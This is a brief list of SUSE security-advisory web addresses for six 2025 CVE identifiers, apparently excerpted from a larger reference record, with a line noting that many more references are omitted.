suse.com/security/cve/CVE-2025-50946
suse.com/security/cve/CVE-2025-51667
suse.com/security/cve/CVE-2025-5187
suse.com/security/cve/CVE-2025-52490
suse.com/security/cve/CVE-2025-52565
suse.com/security/cve/CVE-2025-52881
Left out here: 1,541 references and the rest of 3 source descriptions. The JSON record has them.